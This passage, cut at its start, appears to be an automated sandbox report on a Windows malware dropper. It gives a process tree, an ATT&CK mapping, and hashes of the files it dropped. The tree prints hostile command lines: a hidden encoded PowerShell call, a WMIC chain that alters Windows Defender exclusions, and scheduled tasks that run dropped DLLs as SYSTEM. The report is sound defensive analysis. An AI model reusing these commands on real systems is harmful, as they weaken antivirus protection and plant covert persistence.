                                                                                                        schtasks /run /I /tn "qXnxKrbPbFSTFetyh"
                                                                                                        2⤵
                                                                                                          PID:3548
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                        1⤵
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:3084
                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                          2⤵
                                                                                                            PID:3356
                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                          1⤵
                                                                                                            PID:828
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                            1⤵
                                                                                                              PID:4052
                                                                                                            • \??\c:\windows\system32\gpscript.exe
                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                              1⤵
                                                                                                                PID:3152
                                                                                                              • C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\sARmhrL.exe
                                                                                                                C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\sARmhrL.exe ob /Dvsite_idcDP 525403 /S
                                                                                                                1⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops Chrome extension
                                                                                                                • Drops file in System32 directory
                                                                                                                • Drops file in Program Files directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:4208
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /DELETE /F /TN "bwrroZoeZRoQVpyAcj"
                                                                                                                  2⤵
                                                                                                                    PID:432
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                    2⤵
                                                                                                                      PID:4732
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                        3⤵
                                                                                                                          PID:3176
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                            4⤵
                                                                                                                              PID:3904
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                5⤵
                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4280
                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                  6⤵
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:4068
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\OJLDvKxDU\UQsPIr.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ZPVskaMeORyUtyn" /V1 /F
                                                                                                                          2⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Creates scheduled task(s)
                                                                                                                          PID:2408
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TN "ZPVskaMeORyUtyn2" /F /xml "C:\Program Files (x86)\OJLDvKxDU\zjNFNHF.xml" /RU "SYSTEM"
                                                                                                                          2⤵
                                                                                                                          • Creates scheduled task(s)
                                                                                                                          PID:4476
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /END /TN "ZPVskaMeORyUtyn"
                                                                                                                          2⤵
                                                                                                                            PID:688
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /DELETE /F /TN "ZPVskaMeORyUtyn"
                                                                                                                            2⤵
                                                                                                                              PID:1356
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "yrjCurKJXOthHv" /F /xml "C:\Program Files (x86)\jDcnSjPvYahU2\xmfdUIk.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:3056
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "NetXkRqHZJDfE2" /F /xml "C:\ProgramData\mMAjWdbxOIjSziVB\nrueRlu.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:932
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "YkvMZvjGAPbigdKuX2" /F /xml "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\lCDPlww.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:3184
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "nQHiQOLyvgcbJIDARWU2" /F /xml "C:\Program Files (x86)\qpZxqHvFKXpRC\qpnxfEs.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:2724
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "EJKQCvUwFyvoZzoaf" /SC once /ST 00:12:53 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\heXdjphsLYtTYYrU\CVHVYrjF\lJrpoSO.dll\",#1 /vGsite_idrHe 525403" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:2876
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "EJKQCvUwFyvoZzoaf"
                                                                                                                              2⤵
                                                                                                                                PID:1928
                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                  3⤵
                                                                                                                                    PID:4068
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /DELETE /F /TN "qXnxKrbPbFSTFetyh"
                                                                                                                                  2⤵
                                                                                                                                    PID:3956
                                                                                                                                • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\CVHVYrjF\lJrpoSO.dll",#1 /vGsite_idrHe 525403
                                                                                                                                  1⤵
                                                                                                                                    PID:1348
                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                      c:\windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\CVHVYrjF\lJrpoSO.dll",#1 /vGsite_idrHe 525403
                                                                                                                                      2⤵
                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Drops file in System32 directory
                                                                                                                                      • Enumerates system info in registry
                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                      PID:2320
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /DELETE /F /TN "EJKQCvUwFyvoZzoaf"
                                                                                                                                        3⤵
                                                                                                                                          PID:4856

                                                                                                                                    Network

                                                                                                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                    Execution

                                                                                                                                    Scheduled Task/Job

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Persistence

                                                                                                                                    Scheduled Task/Job

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Privilege Escalation

                                                                                                                                    Scheduled Task/Job

                                                                                                                                    1
                                                                                                                                    T1053

                                                                                                                                    Credential Access

                                                                                                                                    Unsecured Credentials

                                                                                                                                    1
                                                                                                                                    T1552

                                                                                                                                    Credentials In Files

                                                                                                                                    1
                                                                                                                                    T1552.001

                                                                                                                                    Discovery

                                                                                                                                    Query Registry

                                                                                                                                    4
                                                                                                                                    T1012

                                                                                                                                    System Information Discovery

                                                                                                                                    4
                                                                                                                                    T1082

                                                                                                                                    Collection

                                                                                                                                    Data from Local System

                                                                                                                                    1
                                                                                                                                    T1005

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
                                                                                                                                      Filesize

                                                                                                                                      129B

                                                                                                                                      MD5

                                                                                                                                      a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                      SHA1

                                                                                                                                      2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                      SHA256

                                                                                                                                      e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                      SHA512

                                                                                                                                      d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                    • C:\Program Files (x86)\OJLDvKxDU\zjNFNHF.xml
                                                                                                                                      Filesize

                                                                                                                                      2KB

                                                                                                                                      MD5

                                                                                                                                      fdb6510ab9201b5eaddc9908f51e1248

                                                                                                                                      SHA1

                                                                                                                                      92a62bdcf7749a94ba83d5a0996ae8b6c854f6bf

                                                                                                                                      SHA256

                                                                                                                                      4238f7e7c1438d6b168321b749acdc9e8f7999fd2f54892974ddd06c0cc03337

                                                                                                                                      SHA512

                                                                                                                                      8317ef5f8161a151858954d7b7506d9257bba3353a882557205b9bbcca594e83ab09944cef458ee3a24b6696bb538e59df6d8eecec24a16bf715b2bb27eb358e

                                                                                                                                    • C:\Program Files (x86)\jDcnSjPvYahU2\xmfdUIk.xml
                                                                                                                                      Filesize

                                                                                                                                      2KB

                                                                                                                                      MD5

                                                                                                                                      a527e7435ca2685acf66d9234dd12982

                                                                                                                                      SHA1

                                                                                                                                      c3c8382ab1b704cf6c4cafee9a2e81120b049924

                                                                                                                                      SHA256

                                                                                                                                      d7d877421563a1bb1013e0bffbab5dd273dd39b57ac6f29ffda9e95cdc9eb5fb

                                                                                                                                      SHA512

                                                                                                                                      dcfd43c7a1b428fc2287fafeab10b6db59eb7bdba6974a6ea0beb4bc444fb46c24e74081effe7f9c44017b180255259c5b8994f6835de6ce6b007e1e972d56e5

                                                                                                                                    • C:\Program Files (x86)\qpZxqHvFKXpRC\qpnxfEs.xml
                                                                                                                                      Filesize

                                                                                                                                      2KB

                                                                                                                                      MD5

                                                                                                                                      a53b9787c321c9350c1d9d66f611194a

                                                                                                                                      SHA1

                                                                                                                                      041ebca67aae6bbf2be739cc2e23fc28596b568b

                                                                                                                                      SHA256

                                                                                                                                      026dac63d67e8053b4683a25957689777ef93ae29fbb55244835f5d40c2a9502

                                                                                                                                      SHA512

                                                                                                                                      41ca63b97e722867674210ce6432ca926d3e76eb7b6ccf0cf58289419689c5c676f82400056035d433ebefa12e02c5a14a377c2fc92c8b14b865d14d83c1087f

                                                                                                                                    • C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\lCDPlww.xml
                                                                                                                                      Filesize

                                                                                                                                      2KB

                                                                                                                                      MD5

                                                                                                                                      bec0218d418ba5bf11d4bd64c1e8024e

                                                                                                                                      SHA1

                                                                                                                                      dee47222f832969f3e22e1bd086f2f8dec2f126b

                                                                                                                                      SHA256

                                                                                                                                      d066a842f30e2a207e77eb5f7b6cc34ca896df911159b03061bd9b332700965d

                                                                                                                                      SHA512

                                                                                                                                      b6bbc08883c815a7c7aa476ae00dc3eb90c7f3e89f2ded20dab7a0d0bc81d2b832389d3401cfc57ebdcd912ecb0a5cd46743e28a35afc40d4a05604f25523b1a

                                                                                                                                    • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
                                                                                                                                      Filesize

                                                                                                                                      2.0MB

                                                                                                                                      MD5

                                                                                                                                      cec0e1c2ce77a0facf6440be3a780b78

                                                                                                                                      SHA1

                                                                                                                                      0b2a22430ba8d55aff535579a738ee0ac792dfe4

                                                                                                                                      SHA256

                                                                                                                                      2d1b5133a65bb47a09de3dc5d599262c5e96652b36bfcbb87121e6fcfa2a581a

                                                                                                                                      SHA512

                                                                                                                                      41f68aba5341713928461e2b3b3522465417cdf48830bee4333fe5f2e3c6834089658caa5dd55f44ffea11eb19e09dde8d5223a170fe6ea83aa07cf83f7c8378

                                                                                                                                    • C:\ProgramData\mMAjWdbxOIjSziVB\nrueRlu.xml
                                                                                                                                      Filesize

                                                                                                                                      2KB

                                                                                                                                      MD5

                                                                                                                                      97f7b4bd539550a81e3b884fddaae9aa

                                                                                                                                      SHA1

                                                                                                                                      62b355fe5b1c02f691c09eaacfa8dd1a2c47fa35

                                                                                                                                      SHA256

                                                                                                                                      c4e8b510d64dc3aacaeae293f284951dab5c723defc30bc03b0d075345bcfd4c

                                                                                                                                      SHA512

                                                                                                                                      60e0a5861024f467c7a34930af1693df6df341c5fe3d5dd1f7c2217f67409d904495c512ec3f5fb2c7130cfe07bab910066263dc4800af0c8e1c2dd623c3dcbc

                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
                                                                                                                                      Filesize

                                                                                                                                      187B

                                                                                                                                      MD5

                                                                                                                                      2a1e12a4811892d95962998e184399d8

                                                                                                                                      SHA1

                                                                                                                                      55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                      SHA256

                                                                                                                                      32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                      SHA512

                                                                                                                                      bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
                                                                                                                                      Filesize

                                                                                                                                      136B

                                                                                                                                      MD5

                                                                                                                                      238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                      SHA1

                                                                                                                                      0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                      SHA256

                                                                                                                                      801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                      SHA512

                                                                                                                                      2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
                                                                                                                                      Filesize

                                                                                                                                      150B

                                                                                                                                      MD5

                                                                                                                                      0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                      SHA1

                                                                                                                                      6a51537cef82143d3d768759b21598542d683904

                                                                                                                                      SHA256

                                                                                                                                      0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                      SHA512

                                                                                                                                      5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                      Filesize

                                                                                                                                      10KB

                                                                                                                                      MD5

                                                                                                                                      856866f4171289aeb7405e99d5cfaea7

                                                                                                                                      SHA1

                                                                                                                                      96dbb8d256b926e426d47ebd4a31a619769ead1e

                                                                                                                                      SHA256

                                                                                                                                      f3c73fa55ba9f9922bc313114210d4c5d2fe0f04370c149ffb99acd2e412de4a

                                                                                                                                      SHA512

                                                                                                                                      fb54355527e3d485f891a72bf2cd6e8a4a43e7e73f01de43de7864645475c454efd93cb2b1658210590c39efbd6f3d8e3d5924dfbc78c75f79a2ea9e122639c6

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS5C1A.tmp\Install.exe
                                                                                                                                      Filesize

                                                                                                                                      6.6MB

                                                                                                                                      MD5

                                                                                                                                      f8efb05b940b05fc74801b61b3c0f500

                                                                                                                                      SHA1

                                                                                                                                      8e3eb6d604f3552d48ebcb385fc2681716b172af

                                                                                                                                      SHA256

                                                                                                                                      90c6b16de088ab3f5737bcb599bb9ffd69a28abd149ab986b7fe52ba8bb2f400

                                                                                                                                      SHA512

                                                                                                                                      028ea55f06fbfb079673df19e6e6249e3a2107a3d5485586f8c18724bf0a6a996ea5a7e31721bed9f7bf677bbf789c596994601076c66676c92fbd3a94741fff

                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14wobuyq.jiw.ps1
                                                                                                                                      Filesize

                                                                                                                                      1B

                                                                                                                                      MD5

                                                                                                                                      c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                      SHA1

                                                                                                                                      356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                      SHA256

                                                                                                                                      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                      SHA512

                                                                                                                                      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js
                                                                                                                                      Filesize

                                                                                                                                      6KB

                                                                                                                                      MD5

                                                                                                                                      f6cf268ee58c8d016d360be478ad99c0

                                                                                                                                      SHA1

                                                                                                                                      7c199e493d0fbf4cab901cef64b540f79531245f

                                                                                                                                      SHA256

                                                                                                                                      a17252ba2d537b1b31d1f3ee20b2ed333699afc3dd0a6006df650273aacd1c6f

                                                                                                                                      SHA512

                                                                                                                                      0c5e2116e7098207b9c5a79afb16873e2d25c63db1e156ef1995971994d0bad3a3483dfefda6005a3cea6e584fbb92183e0522df5336885347bec0ad43233e7c

                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                      Filesize

                                                                                                                                      1KB

                                                                                                                                      MD5

                                                                                                                                      0f5cbdca905beb13bebdcf43fb0716bd

                                                                                                                                      SHA1

                                                                                                                                      9e136131389fde83297267faf6c651d420671b3f

                                                                                                                                      SHA256

                                                                                                                                      a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                                                                                                                                      SHA512

                                                                                                                                      a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                      Filesize

                                                                                                                                      12KB

                                                                                                                                      MD5

                                                                                                                                      14487476de4421974e2148c64afb011c

                                                                                                                                      SHA1

                                                                                                                                      d8c6ac400eae6cf0637a586739bba898536b7756

                                                                                                                                      SHA256

                                                                                                                                      1aae6600f4036df23bf40184565a97590e42d83670eef8cad25cc092d3102c7f

                                                                                                                                      SHA512

                                                                                                                                      9ae6a4ae4043defe1adedff3a0cab574950a6b085bd14941986d5d0a579cce63fa2d0ef978ebad416615e50ba7545919a21564f145dcd37796ed7d0192624505

                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                      Filesize

                                                                                                                                      12KB

                                                                                                                                      MD5

                                                                                                                                      bda90d5be3c9ad353627e416f4271bd3

                                                                                                                                      SHA1

                                                                                                                                      7249b616d6cca93e241d2837ebd4c276dc2b4e6b

                                                                                                                                      SHA256

                                                                                                                                      f022ade5ba8d0d4626855aa805e2d7f30a07b039f8d17c719eb2f05f102b3c4d

                                                                                                                                      SHA512

                                                                                                                                      53aa613846e93ab716c98c3baf57659730b855b64ffea7390f868cb98b65ca7f17af16cb150d6c0988a7ff41232a4874f0fabed7f654ed8054eeed0c3e4f906a

                                                                                                                                    • C:\Windows\Temp\heXdjphsLYtTYYrU\CVHVYrjF\lJrpoSO.dll
                                                                                                                                      Filesize

                                                                                                                                      6.4MB

                                                                                                                                      MD5

                                                                                                                                      f7abebf1d656904f55bdea5a2e997543

                                                                                                                                      SHA1

                                                                                                                                      2c4cb9048f84322cd7669ac00f0c1f8b05db339a

                                                                                                                                      SHA256

                                                                                                                                      5b1c4471df887df5d3a4331470ffcaf008c79cbe17186de3e83342676684c862

                                                                                                                                      SHA512

                                                                                                                                      cd04387851e4cb59f5286b5f62d0022ee7a546b74c22b3c7422476839e22c4caf4d91fe81ef2ea367f32e12bb4bbf03954644f2f03456c20eb270233229c09e1

                                                                                                                                    • C:\Windows\system32\GroupPolicy\Machine\Registry.pol
                                                                                                                                      Filesize

                                                                                                                                      6KB

                                                                                                                                      MD5

                                                                                                                                      daa101f830f45a9c833d9c5d9fdfa363

                                                                                                                                      SHA1

                                                                                                                                      6dc60bcd936f541085880985f8da2cad56d5a93b

                                                                                                                                      SHA256

                                                                                                                                      e1c7093f1d67539addd98d51d30dc903ae6e5eb2a39d68bbd26577d6c7e94243

                                                                                                                                      SHA512

                                                                                                                                      4fa3f3352422e3cb9b4bd3734d35351e3493bd468ccc295844ca249e9204463943a2198450a0bc3c224a02c08308450c0e18a9f2eed3357e4cb27495dc5c20ed

                                                                                                                                    • memory/208-87-0x0000000072250000-0x000000007293E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/208-84-0x0000000005C60000-0x0000000005C70000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/208-71-0x0000000072250000-0x000000007293E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/656-8-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      5.8MB

                                                                                                                                    • memory/2236-44-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      5.8MB

                                                                                                                                    • memory/2320-424-0x0000000003200000-0x00000000037D7000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      5.8MB

                                                                                                                                    • memory/3084-35-0x0000000006DC0000-0x0000000006DD0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3084-21-0x0000000007CB0000-0x0000000008000000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.3MB

                                                                                                                                    • memory/3084-13-0x0000000006C20000-0x0000000006C56000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      216KB

                                                                                                                                    • memory/3084-15-0x0000000006DC0000-0x0000000006DD0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3084-14-0x0000000072170000-0x000000007285E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/3084-94-0x000002985DB20000-0x000002985DB42000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      136KB

                                                                                                                                    • memory/3084-96-0x000002985D9F0000-0x000002985DA00000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3084-95-0x00007FF8FD800000-0x00007FF8FE1EC000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      9.9MB

                                                                                                                                    • memory/3084-100-0x0000029875F00000-0x0000029875F76000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      472KB

                                                                                                                                    • memory/3084-122-0x000002985D9F0000-0x000002985DA00000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3084-123-0x00007FF8FD800000-0x00007FF8FE1EC000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      9.9MB

                                                                                                                                    • memory/3084-16-0x0000000006DC0000-0x0000000006DD0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3084-17-0x0000000007400000-0x0000000007A28000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.2MB

                                                                                                                                    • memory/3084-18-0x00000000072F0000-0x0000000007312000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      136KB

                                                                                                                                    • memory/3084-20-0x0000000007B30000-0x0000000007B96000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      408KB

                                                                                                                                    • memory/3084-19-0x0000000007390000-0x00000000073F6000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      408KB

                                                                                                                                    • memory/3084-22-0x0000000008080000-0x000000000809C000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      112KB

                                                                                                                                    • memory/3084-23-0x0000000008110000-0x000000000815B000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      300KB

                                                                                                                                    • memory/3084-24-0x0000000008360000-0x00000000083D6000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      472KB

                                                                                                                                    • memory/3084-39-0x0000000072170000-0x000000007285E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/3948-68-0x0000000072250000-0x000000007293E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/3948-64-0x0000000005460000-0x0000000005470000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3948-49-0x0000000072250000-0x000000007293E000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/3948-53-0x00000000066D0000-0x000000000671B000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      300KB

                                                                                                                                    • memory/3948-52-0x00000000062F0000-0x0000000006640000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.3MB

                                                                                                                                    • memory/3948-51-0x0000000005460000-0x0000000005470000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/3948-50-0x0000000005460000-0x0000000005470000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/4208-144-0x00000000085E0000-0x0000000008665000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      532KB

                                                                                                                                    • memory/4208-131-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      5.8MB

                                                                                                                                    • memory/4208-389-0x00000000096D0000-0x0000000009754000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      528KB

                                                                                                                                    • memory/4208-400-0x0000000009760000-0x000000000982B000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      812KB

                                                                                                                                    • memory/4208-206-0x0000000008EF0000-0x0000000008F52000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      392KB

                                                                                                                                    • memory/4280-153-0x0000000006DA0000-0x00000000070F0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      3.3MB

                                                                                                                                    • memory/4280-150-0x0000000003DA0000-0x0000000003DB0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/4280-147-0x0000000003DA0000-0x0000000003DB0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB

                                                                                                                                    • memory/4280-146-0x0000000072100000-0x00000000727EE000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/4280-159-0x00000000077D0000-0x000000000781B000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      300KB

                                                                                                                                    • memory/4280-187-0x0000000072100000-0x00000000727EE000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      6.9MB

                                                                                                                                    • memory/4280-184-0x0000000003DA0000-0x0000000003DB0000-memory.dmp
                                                                                                                                      Filesize

                                                                                                                                      64KB